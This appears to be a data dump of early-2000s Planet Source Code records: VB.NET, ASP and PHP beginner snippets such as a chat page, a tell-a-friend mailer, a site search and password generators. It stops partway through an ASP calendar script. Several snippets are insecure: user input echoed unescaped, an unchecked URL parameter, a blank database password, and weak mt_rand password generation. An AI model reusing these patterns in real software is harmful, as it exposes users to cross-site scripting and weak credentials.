"{20502969-7071-4065-BDB5-09EDB3C31E3C}"<o:p></o:p>\n<b\nstyle='mso-bidi-font-weight:normal'>><o:p></o:p>\n<b\nstyle='mso-bidi-font-weight:normal'><o:p> </o:p>\n<span\nlang=EN-US style='font-size:12.0pt'>Beaware of the ProjectGuid, it should be\nsame with actual ones.<o:p></o:p>\n<b\nstyle='mso-bidi-font-weight:normal'><o:p> </o:p>\n<![if !supportLists]><span\nstyle='mso-list:Ignore'>B. \n<![endif]><span\nlang=EN-US style='font-size:12.0pt'>For Visual Basic.NET<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> <VisualBasic<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProjectType = "Local"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProductVersion = "7.10.3707"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nSchemaVersion = "2.0"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProjectGuid = "{6E100C4A-A121-4C1F-83BF-BE639BC59CF1}"<o:p></o:p>\n<b\nstyle='mso-bidi-font-weight:normal'>><o:p></o:p>\n<o:p> </o:p>\nChange the above lines to the following lines:<o:p></o:p>\n<o:p> </o:p>\n<span\nstyle='mso-spacerun:yes'> <VisualBasic<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProjectType = "Local"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProductVersion = "7.0.9466"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nSchemaVersion = "1.0"<o:p></o:p>\n<span\nstyle='mso-spacerun:yes'> \nProjectGuid = "{6E100C4A-A121-4C1F-83BF-BE639BC59CF1}"<o:p></o:p>\n<b\nstyle='mso-bidi-font-weight:normal'>><o:p></o:p>\n<b\nstyle='mso-bidi-font-weight:normal'><o:p> </o:p>\n"},{"WorldId":10,"id":2246,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":406,"LineNumber":1,"line":"Dim chk() As CheckBox\n Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load\n Dim i As Integer\n For i = 0 To 5\n ReDim Preserve chk(i)\n chk(i) = New CheckBox()\n chk(i).Text = \"check \" & i\n chk(i).Top = chk(i).Height * i\n chk(i).Left = 0\n chk(i).Name = \"chk\" & i\n Me.Controls.Add(chk(i))\n AddHandler chk(i).CheckStateChanged, AddressOf chk_CheckedChanged\n Next\n End Sub\n Private Sub chk_CheckedChanged(ByVal sender As System.Object, ByVal e As \nSystem.EventArgs)\n MsgBox(\"checkbox \" & sender.name & \"'s state changed to \" & sender.Checked)\n End Sub\n"},{"WorldId":10,"id":410,"LineNumber":1,"line":"Private mouse_offset As Point \n Private Sub cmdTest_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles cmdTest.MouseDown\n mouse_offset = New Point(-e.X, -e.Y)\n End Sub\n Private Sub cmdTest_MouseMove(ByVal Sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles cmdTest.MouseMove\n If e.Button = MouseButtons.Left Then\n Dim mousePos As Point = Sender.findform().MousePosition\n mousePos.Offset(mouse_offset.X, mouse_offset.Y)\n Sender.findform().Location = mousePos\n End If\n End Sub"},{"WorldId":1,"id":68984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":68587,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":973,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":989,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8291,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7970,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":3967,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":224,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":150,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7825,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7300,"LineNumber":1,"line":"<html>\n<%@LANGUAGE=\"VBScript\"%>\n<%\ndim email\ndim status\ndim emaildata\nif Request.Form.Count > 0 then\n\t' Requires Microsoft XML SDK 3.0 available at msdn.microsoft.com.\n\t' fill data\n\temail = Request.Form(\"email\")\n\t\n\t' Call Webservice at CDYNE\n\t Dim oXMLHTTP\n\t \n\t ' Call the web service to get an XML document\n\t Set oXMLHTTP = server.CreateObject(\"Msxml2.ServerXMLHTTP\")\n\t oXMLHTTP.Open \"POST\", _\n\t \"http://ws.cdyne.com/emailverify/ev.asmx/VerifyEmail\", _\n\t False\n\t oXMLHTTP.setRequestHeader \"Content-Type\", _\n\t \"application/x-www-form-urlencoded\"\n\t oXMLHTTP.send \"email=\" & server.URLEncode(email) \n\t Response.Write oxmlhttp.status\n\t If oXMLHTTP.Status = 200 Then\n\t\t Dim oDOM\n\t\t Set oDOM = oXMLHTTP.responseXML\n\t\t Dim oNL\n\t\t Dim oCN\n\t\t Dim oCC\n\t\t Set oNL = oDOM.getElementsByTagName(\"ReturnIndicator\")\n\t\t For Each oCN In oNL\n\t\t For Each oCC In oCN.childNodes\n\t\t Select Case LCase(oCC.nodeName)\n\t\t Case \"responsetext\"\n\t\t emaildata = emaildata & \"CodeTxt: \" & occ.text & \" \"\n\t\t Case \"responsecode\"\n\t\t emaildata = emaildata & \"Code: \" & occ.text & \" \"\n\t\t End Select\n\t\t Next\n\t\t Next\n\t\t if status = \"\" then status = \"OK\"\n\t\t Set oCC = Nothing\n\t\t Set oCN = Nothing\n\t\t Set oNL = Nothing\n\t\t Set oDOM = Nothing\n\t\t \n\t\t \n\t\t \n\t \n\t else\n\t Status = \"Service Unavailable. Try again later\"\n\t End If\n\t Set oXMLHTTP = Nothing\n\t\nend if\n%>\n<HEAD>\n<BODY><form method=\"POST\" action=\"\">\n Email Address Checker \n <input type=\"text\" name=\"email\" size=\"40\" value=\"<%=email%>\"><%=status %>\n <input type=\"submit\" value=\"Check Email\" name=\"B1\">\n <%=emaildata%>\n</form></BODY>\n</html>"},{"WorldId":8,"id":831,"LineNumber":1,"line":"<?php\n// Enter the URL of your site below\n$site = \"http://www.pscode.com\";\n// Do not change anything below\n$url = \"http://uptime.netcraft.com/up/graph/?mode_u=on&mode_w=on&site=$site&submit=Examine\";\n$fp = show_source($url,\"r\");\nif(ereg(\"/up/graphs/.*..png\",$fp,$info)){\necho \"<img src='http://uptime.netcraft.com$info[0]' alt='Uptime Graph'>\";\n} else {\necho \"Your site doesn't have an uptime graph.\";\n}\n?>"},{"WorldId":8,"id":732,"LineNumber":1,"line":"<php>\n<?\n//class BerekenWachtwoord() {\n $a=\"\";$a=\"\";\n\tfunction bereken() {\n\twhile ($i<8) {\n\t$i++;\n\t$randomgetal = mt_rand(1,61);\n\tif ($randomgetal==1) {$a.=\"1\";}\n\tif ($randomgetal==2) {$a.=\"2\";}\n\tif ($randomgetal==3) {$a.=\"3\";}\n\tif ($randomgetal==4) {$a.=\"4\";}\n\tif ($randomgetal==5) {$a.=\"5\";}\n\tif ($randomgetal==6) {$a.=\"6\";}\n\tif ($randomgetal==7) {$a.=\"7\";}\n\tif ($randomgetal==8) {$a.=\"8\";}\n\tif ($randomgetal==9) {$a.=\"9\";}\n\tif ($randomgetal==10) {$a.=\"a\";}\n\tif ($randomgetal==11) {$a.=\"b\";}\n\tif ($randomgetal==12) {$a.=\"c\";}\n\tif ($randomgetal==13) {$a.=\"d\";}\n\tif ($randomgetal==14) {$a.=\"e\";}\n\tif ($randomgetal==15) {$a.=\"f\";}\n\tif ($randomgetal==16) {$a.=\"g\";}\n\tif ($randomgetal==17) {$a.=\"h\";}\n\tif ($randomgetal==18) {$a.=\"i\";}\n\tif ($randomgetal==19) {$a.=\"j\";}\n\tif ($randomgetal==20) {$a.=\"k\";}\n\tif ($randomgetal==21) {$a.=\"l\";}\n\tif ($randomgetal==22) {$a.=\"m\";}\n\tif ($randomgetal==23) {$a.=\"n\";}\n\tif ($randomgetal==24) {$a.=\"o\";}\n\tif ($randomgetal==25) {$a.=\"p\";}\n\tif ($randomgetal==26) {$a.=\"q\";}\n\tif ($randomgetal==27) {$a.=\"r\";}\n\tif ($randomgetal==28) {$a.=\"s\";}\n\tif ($randomgetal==29) {$a.=\"t\";}\n\tif ($randomgetal==30) {$a.=\"u\";}\n\tif ($randomgetal==31) {$a.=\"v\";}\n\tif ($randomgetal==32) {$a.=\"w\";}\n\tif ($randomgetal==33) {$a.=\"x\";}\n\tif ($randomgetal==34) {$a.=\"y\";}\n\tif ($randomgetal==35) {$a.=\"z\";}\n\tif ($randomgetal==36) {$a.=\"A\";}\n\tif ($randomgetal==37) {$a.=\"B\";}\n\tif ($randomgetal==38) {$a.=\"C\";}\n\tif ($randomgetal==39) {$a.=\"D\";}\n\tif ($randomgetal==40) {$a.=\"E\";}\n\tif ($randomgetal==41) {$a.=\"F\";}\n\tif ($randomgetal==42) {$a.=\"G\";}\n\tif ($randomgetal==43) {$a.=\"H\";}\n\tif ($randomgetal==44) {$a.=\"I\";}\n\tif ($randomgetal==45) {$a.=\"J\";}\n\tif ($randomgetal==46) {$a.=\"K\";}\n\tif ($randomgetal==47) {$a.=\"L\";}\n\tif ($randomgetal==48) {$a.=\"M\";}\n\tif ($randomgetal==49) {$a.=\"N\";}\n\tif ($randomgetal==50) {$a.=\"O\";}\n\tif ($randomgetal==51) {$a.=\"P\";}\n\tif ($randomgetal==52) {$a.=\"Q\";}\n\tif ($randomgetal==53) {$a.=\"R\";}\n\tif ($randomgetal==54) {$a.=\"S\";}\n\tif ($randomgetal==55) {$a.=\"T\";}\n\tif ($randomgetal==56) {$a.=\"U\";}\n\tif ($randomgetal==57) {$a.=\"V\";}\n\tif ($randomgetal==58) {$a.=\"W\";}\n\tif ($randomgetal==59) {$a.=\"X\";}\n\tif ($randomgetal==60) {$a.=\"Y\";}\n\tif ($randomgetal==61) {$a.=\"Z\";}\n\t}\n\treturn $a;\n}\n$b=bereken();\necho $b;"},{"WorldId":8,"id":733,"LineNumber":1,"line":"<?\n function PassGen() {\n $chars=array();\n for($i=48;$i<=57;$i++) {\n\tarray_push($chars, chr($i));\n }\n for($i=65;$i<=90;$i++) {\n\tarray_push($chars, chr($i));\n }\n for($i=97;$i<=122;$i++) {\n\tarray_push($chars, chr($i));\n }\n while(list($k, $v)=each($chars)) {\n print $k.\" -> \".$v.\" \";\n }\n for($i=0;$i<8;$i++) { \n\tmt_srand((double)microtime()*1000000);\n\t$passwd.=$chars[mt_rand(0,count($chars))];\n }\n return $passwd;\n}\n print PassGen();"},{"WorldId":4,"id":7821,"LineNumber":1,"line":"1. //chatpage.asp\n<HTML>\n<HEAD>\n<TITLE> Chat Page </TITLE>\n</HEAD>\n<FRAMESET ROWS=\"*,100\">\n<FRAME SRC=\"Display.asp\">\n<FRAME SRC=\"Message.asp\">\n</FRAMESET>\n</HTML>\nname this file as chatpage.asp. here we are dividing the page into 2 frames.\nNext open another page and type the following code..\n2. // Display.asp\n<%\nset MyServer=Request.ServerVariables(\"SERVER_NAME\")\nset MyPath=Request.ServerVariables(\"SCRIPT_NAME\")\nMySelf=\"HTTP://\"&MyServer&MyPath\n%>\n<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"REFRESH\" CONTENT=\"5;<%=MySelf%>\">\n<TITLE>Display Page</TITLE>\n</HEAD>\n<BODY>\n<%=NOW%>\n<%\nTempArray=Application(\"Talk\")\nFOR i=0 to Application(\"TPlace\")-1\nResponse.Write(\"\"&Temparray(i))\nNEXT\n%>\n</BODY>\n</HTML>\nname the page as display.asp. here the message typed by the user is captured in a Application level variable. Then the message is put in an array and is written on to the browser by reading from that array variable.\nNext open another page and type the following code ..\n3. // Message.asp\n\n<%\nIF not Request.Form(\"message\")=\"\" THEN\nApplication.LOCK\nIF Application(\"TPlace\")>4 THEN \nApplication(\"TPlace\")=0\nEND IF\nTempArray=Application(\"Talk\")\nTempArray(Application(\"TPlace\"))=Request.Form(\"message\")\nApplication(\"Talk\")=TempArray\nApplication(\"TPlace\")=Application(\"TPlace\")+1\nApplication.Unlock\nEND IF\n%>\n<HTML>\n<HEAD><TITLE> Message Page </TITLE></HEAD>\n<BODY BGCOLOR=\"LIGHTBLUE\">\n<FORM METHOD=\"POST\" ACTION=\"message.asp\">\n<INPUT TYPE=text size=\"50\" name=\"message\" >\n<INPUT TYPE=\"SUBMIT\" VALUE=\"SEND\">\n\n</FORM>\n</BODY>\n</HTML>\nIn this page we are creating a text field and a submit button. After typing a message if u click on submit button the message is captured in application variable which will be used by the display.asp\n\nNext open notepad and type the following code and save it as global.asa\n4. ///global.asa\n<SCRIPT LANGUAGE=VBScript RUNAT=Server>\nSUB Application_OnStart\nDim TempArray(5)\nApplication(\"Talk\")=TempArray\nApplication(\"TPlace\")=0\nApplication(\"ActiveUsers\") = 0\nEND SUB\nSUB Session_OnStart\n' Change Session Timeout to 20 minutes (if you need to)\nSession.Timeout = 20\n' Set a Session Start Time\n' This is only important to assure we start a session\nSession (\"Start\") = Now\n' Increase the active visitors count when we start the session\nApplication.Lock\nApplication (\"ActiveUsers\") = Application (\"ActiveUsers\") + 1\nApplication.UnLock\nEND SUB\nSUB Session_OnEnd\n' Decrease the active visitors count when the session ends.\nApplication.Lock\nApplication (\"ActiveUsers\") = Application (\"ActiveUsers\") - 1\nApplication.UnLock\nEND SUB\n</SCRIPT>\n"},{"WorldId":4,"id":7801,"LineNumber":1,"line":"' Save this file as multiple_selection.asp\n<%\nDim intNumberSelected ' Count of items selected\nDim strSelectedTeams ' String returned from QS (or Form)\nDim arrSelectedTeams ' Variable to hold team array\nDim I ' Looping variable\n' Retrieve the count of items selected\nintNumberSelected = Request.Form(\"teams\").Count\nif intNumberSelected = 0 Then\n%> \n Pick your favorite teams (hold down CTRL to select more than one): \n\n <FORM ACTION=\"multiple_selection.asp\" METHOD=\"post\">\n \n <SELECT NAME=\"teams\" MULTIPLE SIZE=\"10\">\n <OPTION>Anaheim Angels</OPTION>\n <OPTION>Atlanta Braves</OPTION>\n <OPTION>Arizona Diamondbacks</OPTION>\n <OPTION>Baltimore Orioles</OPTION>\n <OPTION>Boston Red Sox</OPTION>\n <OPTION>Chicago Cubs</OPTION>\n <OPTION>Chicago White Sox</OPTION>\n <OPTION>Cincinnati Reds</OPTION>\n <OPTION>Cleveland Indians</OPTION>\n <OPTION>Colorado Rockies</OPTION>\n <OPTION>Detroit Tigers</OPTION>\n <OPTION>Florida Marlins</OPTION>\n <OPTION>Houston Astros</OPTION>\n\n <OPTION>Kansas City Royals</OPTION>\n <OPTION>Los Angeles Dodgers</OPTION>\n <OPTION>Milwaukee Brewers</OPTION>\n <OPTION>Minnesota Twins</OPTION>\n <OPTION>Montreal Expos</OPTION>\n <OPTION>New York Mets</OPTION>\n <OPTION>New York Yankees</OPTION>\n <OPTION>Oakland Athletics</OPTION>\n <OPTION>Philadelphia Phillies</OPTION>\n <OPTION>Pittsburgh Pirates</OPTION>\n\n <OPTION>San Diego Padres</OPTION>\n\n <OPTION>San Francisco Giants</OPTION>\n <OPTION>Seattle Mariners</OPTION>\n <OPTION>St. Louis Cardinals</OPTION>\n <OPTION>Tampa Bay Devil Rays</OPTION>\n <OPTION>Texas Rangers</OPTION>\n <OPTION>Toronto Blue Jays</OPTION>\n </SELECT>\n \n <INPUT type=\"submit\" value=\"Send Team Selection\">\n </FORM>\n <%\nElse\n ' Retrieve the comma delimited list of teams that is returned\n ' from the Form collection. This could also be gotten from\n ' the QueryString collection, but I used the post method\n ' instead of get in my form.\n strSelectedTeams = Request.Form(\"teams\")\n ' Split our text variable into an array so we have easy\n ' programmatic access to the individual elements. Rememeber\n ' the array will start at 0 not 1 so a 10 item array will\n ' run from 0 to 9 and not 1 to 10!\n ' Split takes a string and then searches for a delimiter\n ' (in this case the comma followed by a space) in that string.\n ' It returns an array of strings which consists of all the\n ' text except the delimiters cut up into nice little pieces\n ' at the delimiters. The last two parameters specify the\n ' maximum number of delimiters to find (-1 = all) and the last\n ' one is what type of comparison to perform\n ' (0 = binary comparison, 1 = text comparison)\n arrSelectedTeams = Split(strSelectedTeams, \", \", -1, 1)\n ' UPDATE NOTE:\n ' One of our ever-vigilant visitors pointed out to me that this will cause problems \n ' if any of yourchoices contain a comma. While he's right, I'm leaving the code \n ' as is,because I feel exposing users to the split command and some array work \n ' is a goodthing, but if you need to use commas try something like this: \n 'ReDim arrSelectedTeams(intNumberSelected - 1)\n 'For I = 1 To intNumberSelected\n ' arrSelectedTeams(I - 1) = Request.Form(\"teams\")(I)\n 'Next 'I\n \n ' We now join our regularly scheduled program already in progress... \n ' Show users the count of and string containing their choices\n %>\n You selected <%= intNumberSelected %> team(s).\n Request.Form(\"teams\") returned:\n <%= strSelectedTeams %>\n You can easily convert this to an array using the split command. \nThe contents of that array are shown in the table below:\n <TABLE BORDER=\"1\">\n <TR>\n <TH>Array Element *</TH>\n <TH>Value</TH>\n </TR>\n <%\n ' Some debugging lines if you start having problems\n 'Response.Write LBound(arrSelectedTeams)\n 'Response.Write UBound(arrSelectedTeams)\n ' Loop through the array showing one table row for each selection\n For I = LBound(arrSelectedTeams) To UBound(arrSelectedTeams)\n %>\n <TR>\n <TD><%= I %></TD>\n <TD><%= arrSelectedTeams(I) %></TD>\n </TR>\n <%\n Next 'I\n %>\n </TABLE>\n\n * \nRemember that VBScript arrays start counting from 0. \n So a 10 item array will run from 0 to 9!\n <%\n ' Some code showing fully qualified requests. Might be fun to\n ' play with or possible useful for debugging.\n 'Dim Item\n 'For Each Item in Request.Form\n ' Response.Write Request.Form.Key(Item) & \": \"\n ' Response.Write Request.Form.Item(Item) & \" \"\n ' Response.Write Request.Form.Item(Item).Count & \" \"\n 'Next\nEnd If\n%>\n\n<FORM ACTION=\"multiple_selection.asp\" METHOD=\"get\">\n <SELECT NAME=\"teams\" MULTIPLE SIZE=\"10\">\n <OPTION>Anaheim Angels</OPTION>\n <OPTION>Atlanta Braves</OPTION>\n <OPTION>Arizona Diamondbacks</OPTION>\n <OPTION>Baltimore Orioles</OPTION>\n <OPTION>Boston Red Sox</OPTION>\n <OPTION>Chicago Cubs</OPTION>\n <OPTION>Chicago White Sox</OPTION>\n <OPTION>Cincinnati Reds</OPTION>\n <OPTION>Cleveland Indians</OPTION>\n <OPTION>Colorado Rockies</OPTION>\n <OPTION>Detroit Tigers</OPTION>\n <OPTION>Florida Marlins</OPTION>\n <OPTION>Houston Astros</OPTION>\n <OPTION>Kansas City Royals</OPTION>\n <OPTION>Los Angeles Dodgers</OPTION>\n <OPTION>Milwaukee Brewers</OPTION>\n <OPTION>Minnesota Twins</OPTION>\n <OPTION>Montreal Expos</OPTION>\n <OPTION>New York Mets</OPTION>\n <OPTION>New York Yankees</OPTION>\n <OPTION>Oakland Athletics</OPTION>\n <OPTION>Philadelphia Phillies</OPTION>\n <OPTION>Pittsburgh Pirates</OPTION>\n <OPTION>San Diego Padres</OPTION>\n <OPTION>San Francisco Giants</OPTION>\n <OPTION>Seattle Mariners</OPTION>\n <OPTION>St. Louis Cardinals</OPTION>\n <OPTION>Tampa Bay Devil Rays</OPTION> \n <OPTION>Texas Rangers</OPTION>\n <OPTION>Toronto Blue Jays</OPTION>\n </SELECT>\n \n <INPUT type=\"submit\" value=\"Send Team Selection\">\n</FORM>\n"},{"WorldId":4,"id":7390,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7401,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7289,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":529,"LineNumber":1,"line":"Compile with:\ncsc SQLConnect.cs /r:system.data.dll;system.dll\n\nusing System;\nusing System.Data.SQL;\npublic class SQLConnect\n{\nprivate String connString = \"\";\nprivate SQLConnection dataConn = null;\npublic void OpenConnection(string connString)\n{\nthis.connString = connString;\ndataConn = new SQLConnection(connString);\ndataConn.Open();\n}\npublic static void Main(String [] args)\n{\nSQLConnect dbTest = new SQLConnect();\ndbTest.OpenConnection(\"server=BEACH;uid=;pwd=;database=junk\");\n}\n}\n"},{"WorldId":4,"id":7360,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7373,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7285,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7375,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7303,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7284,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7460,"LineNumber":1,"line":"<a href=\"mail.asp?URL=www.http://www.planet-source-code.com/vb/scripts/BrowseCategoryOrSearchResults.asp?lngWId=4&grpCategories=&txtMaxNumberOfEntriesPerPage=10&optSort=Alphabetical&chkThoroughSearch=&blnTopCode=False&blnNewestCode=False&blnAuthorSearch=False&lngAuthorId=&strAuthorName=&blnResetAllVariables=&blnEditCode=False&mblnIsSuperAdminAccessOn=False&intFirstRecordOnPage=1&intLastRecordOnPage=10&intMaxNumberOfEntriesPerPage=10&intLastRecordInRecordset=14&chkCodeTypeZip=&chkCodeDifficulty=&chkCodeTypeText=&chkCodeTypeArticle=&chkCode3rdPartyReview=&txtCriteria=bhushan+paranjpe&cmdGoToPage=2&lngMaxNumberOfEntriesPerPage=10\">Tell a Friend</a>\nSo once he clicks on that hyperlink the URL is carried to mail.asp and let us see what mail.asp will do for us.\n<html>\n<head>\n<title>Tell a Friend</title>\n</head>\n<body>\n<%\nURL = Request.QueryString(\"URL\")\nIf Len(URL) = 0 Then URL = \"http://www.planet-source-code.com\" ' The default URL\nname=request.form(\"Sendersname\")\nfrom=request.form(\"SendersEmail\")\nmessage=Request.Form(\"Message\")\nIf Len(Request.Form(\"SendersEmail\")) > 0 Then ' Time to send the emails\nDim objMail,FriendEmail,I\nsBody = \"This Page at \" & URL & \" has been recommended by \" & name & \" at \" & Request.Form(\"SendersEmail\") & vbCrLf & \" <-- Message For You--> \" & vbcrlf & message\nI=0\n' Loop until no more email addresses are given.\nDo While True\nFriendEmail = Request.Form(\"FriendEmail\" & I)\nIf Len(FriendEmail) = 0 Then\nExit Do\nElse\nSet objMail = CreateObject(\"CDONTS.NewMail\")\nobjMail.From = name \nobjMail.Subject = \"Recommended Page\"\nobjMail.Importance=1\nobjMail.Body = sBody\nobjMail.To = FriendEmail\nobjMail.Send()\nEnd If\nI=I+1\nLoop\nSet objMail = Nothing%>\n<%\nResponse.write \"<center> <H1>Thank you for Recommending us to Your Friends.</H1>\"%>\n\n<%\nResponse.write \"<a href=\" & URL & \" style='color: #ffffff'>Click here to return to \" & URL & \"</a></center>\"\nElse\n%>\n<form method=\"POST\" action=\"mail.asp?URL=<%= URL %>\">\n<div align=\"center\">\n<center>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\">\n<tr>\n<td>Recommended URL: </td>\n<td> <%= URL %>\n</td>\n</tr>\n<tr>\n<td>Your Name: </td>\n<td><input type=\"text\" name=\"Sendersname\" size=\"25\"></td>\n</tr>\n<tr>\n<td>Your Email: </td>\n<td><input type=\"text\" name=\"SendersEmail\" size=\"25\"></td>\n</tr>\n<tr>\n<td>Your friends emails.</td>\n<td> </td>\n</tr>\n<tr>\n<td>1. </td>\n<td> <input type=\"text\" name=\"FriendEmail0\" size=\"29\"></td>\n</tr>\n<tr>\n<td>2.</td>\n<td><input type=\"text\" name=\"FriendEmail1\" size=\"29\"></td>\n</tr>\n<tr>\n<td>2.</td>\n<td><input type=\"text\" name=\"FriendEmail2\" size=\"29\"></td>\n</tr>\n<tr>\n<td>2.</td>\n<td><input type=\"text\" name=\"FriendEmail3\" size=\"29\"></td>\n</tr>\n\n<tr>\n<td> </td>\n<td> </td>\n</tr>\n<tr>\n<td>Message</td>\n<td><textarea rows=\"6\" name=\"Message\" cols=\"41\"></textarea></td>\n</tr>\n<tr>\n<td colspan=\"2\">\n \n<input type=\"submit\" value=\"Tell a Friend\"> \n \n\n</td>\n</tr>\n</table>\n</form>\n<% End If %>\n</td>\n</tr>\n</table>\n</body>\n</html>\n\n"},{"WorldId":4,"id":7461,"LineNumber":1,"line":"As the website increases you should provide an option for the user to trace out what he is looking for, in a very short time. For this reason search this website help you a lot.\nOpen your favorite editor and paste this code their. save the file as textsearch.asp.\n Search Results for :- <%=Request(\"SearchText\")%> \n<%\nConst fsoForReading = 1\nDim strSearchText\nstrSearchText = Request(\"SearchText\")\n'Now, we want to search all of the files\nDim objFSO\nSet objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")\nDim objFolder\nSet objFolder = objFSO.GetFolder(Server.MapPath(\"/news\"))\nDim objFile, objTextStream, strFileContents, bolFileFound\nbolFileFound = False\ndim count\ncount=0\nFor Each objFile in objFolder.Files\nIf Response.IsClientConnected then\nSet objTextStream = objFSO.OpenTextFile(objFile.Path,fsoForReading)\nstrFileContents = objTextStream.ReadAll\nIf InStr(1,strFileContents,strSearchText,1) then\ncount=count+1\nResponse.Write \"<LI><A HREF=\"\"/news/\" & objFile.Name & _\n\"\"\">\" & objFile.Name & \"</A> \"\n'This program will do the search in the path specified only. if you want it to search through all your 'directories/folders use a different logic. here i have specified the path as /news. change the path accordingly.\nResponse.Write \"<a href=http://www.plnaet-source-code.com\" & objFile.Name & \"> www.plnaet-source-code.com\" & objFile.Name & \"</a> \"\nResponse.Write (\" \")\nbolFileFound = True\nEnd If\nobjTextStream.Close\nEnd If\nNext\nif Not bolFileFound then \nResponse.Write \"No matches found...\"\nelse \nResponse.Write \"Total no of pages found=\" & count & \" \"\n'Response.Write \"click for more information:-..\" & \" \"\nend if\nSet objTextStream = Nothing\nSet objFolder = Nothing\nSet objFSO = Nothing\n%>\nNext open another page and type in the following code;\n<html>\n<body>\n<form method=post action=\"textsearch.asp\">\n<input type=text name=SearchText>\n<input type=submit value=search>\n</form>\n</body>\n</html>\n"},{"WorldId":4,"id":7462,"LineNumber":1,"line":"<%@ Language=VBScript %>\n<%\n'Function to Return the number of Days in a month\nfunction findMonth(strDate, strYear)\n\tdim days\n\tif strDate = 4 or strDate = 6 or strDate = 9 or strDate = 11 then\n\t\tdays = 30\n\telseif strDate = 2 AND strYear/4 = int(strYear/4) then\n\t\tdays = 29\n\telseif strDate = 2 then\n\t\tdays = 28\n\telse\n\t\tdays = 31\n\tend if\n\tfindMonth = days\nend function\n'Function will return the numeric value last or Next Month\nfunction fnChangeMonth(strMonth, strDirection)\n\tif strDirection = \"previous\" then\n\t\tif strMonth = 1 then\n\t\t\ttempstrMonth = 12\n\t\telse\n\t\t\ttempstrMonth = strMonth - 1\n\t\tend if\n\telse\n\t\tif strMonth > 11 then\n\t\t\ttempstrMonth = 1\n\t\telse\n\t\t\ttempstrMonth = strMonth + 1\n\t\tend if\n\tend if\n\tfnChangeMonth = tempstrMonth\nend function\n'Function will return a date format from the qstring dd\n'I use querystring called dd in this format 01012000 this just makes that\n'into a date format\nfunction formatQstring(strQstring)\n\tddLength = Len(strQstring)\n\ttempYear = Right(strQstring,4)\n\ttempDay = Right(strQstring,6)\n\ttempDay = Left(tempday,2)\n\ttempMonth = Left(strQstring,ddLength - 6)\n\t\n\tstrQstring = tempMonth & \"/\" & tempDay & \"/\" & tempYear\n\tformatQstring = formatdatetime(strQstring,2)\nend function\n'Find the numeric value of the first day in the month (Monday = 2...)\nfunction formatFirstDay(strFirstDay)\n\tstrFirstDay = WeekDay(Left(strFirstDay,2) & \"/1/\" & Right(strFirstDay,4))\n\tformatFirstDay = strFirstDay\nend function\n'Make the Hyperlink for Previous or Next Month\nfunction makeLink(strDate, strLinkType)\n\tif strdate = \"\" then\n\t\tstrdate = Month(DisplayDate) & \"01\" & Year(DisplayDate)\n\tend if\n\t\n\ttheLength = len(strdate)\n\ttheYear = Right(strdate,4) \n\ttheMonth = Left(strdate, theLength-6)\n\t\n\tif strLinkType = \"previous\" then\n\t\ttheMonth = fnChangeMonth((Left(theMonth,2)),\"previous\")\n\t\tif theMonth = 12 then\n\t\t\ttheYear = Right(strDate,4) - 1\n\t\telse\n\t\t\ttheYear = Right(strDate,4)\n\t\tend if\t\n\telse\n\t\ttheMonth = fnChangeMonth((Left(theMonth,2)),\"Next\")\n\t\tif theMonth = 1 then\n\t\t\ttheYear = Right(strDate,4) + 1\n\t\telse\n\t\t\ttheYear = Right(strDate,4)\n\t\tend if\t\n\tend if\n\tif len(theMonth) <> 2 then\n\t\ttheMonth = \"0\" & theMonth\n\tend if\n\t\n\tstrdate = theMonth & \"01\" & theYear\n\tmakelink = strdate\nend function\n'Determine if there is a Calendar Request to show a month otherwise show this month\nif Request(\"dd\") = \"\" then\n\tDisplayDate = Date()\n\tShowYear = Year(Date)\n\tFirstDayofMonth = WeekDay(Month(Date) & \"/1/\" & ShowYear)\nelse\n\tShowYear = Right(Request(\"dd\"),4)\n\tDisplayDate = formatQstring(Request(\"dd\"))\n\tFirstDayofMonth = WeekDay(DisplayDate)\nend if\npreviousMonth = findMonth(fnChangeMonth(Month(DisplayDate),\"previous\"), ShowYear) - FirstDayofMonth + 1\nthisMonth = 0\nnextMonth = 0\nweekdaynum = 0\nDisplayMonth = Month(DisplayDate)\nIf len(DisplayMonth) <> 2 then\n\tDisplayMonth = \"0\" & DisplayMonth\nend if\nDisplayYear = Right((DisplayDate),4)\nhtml = \"<TR><TD colspan=\"\"7\"\"><center>\" & MonthName(month(DisplayDate), 0) & \" \" & ShowYear & \"</center></TD></TR>\" & vbcr\nhtml = html & \"<TR><TD align=\"\"center\"\" class=\"\"date\"\">Su</TD><TD align=\"\"center\"\" class=\"\"date\"\">Mo</TD><TD align=\"\"center\"\" class=\"\"date\"\">Tu</TD><TD align=\"\"center\"\" class=\"\"date\"\">We</TD><TD align=\"\"center\"\" class=\"\"date\"\">Th</TD><TD align=\"\"center\"\" class=\"\"date\"\">Fr</TD><TD 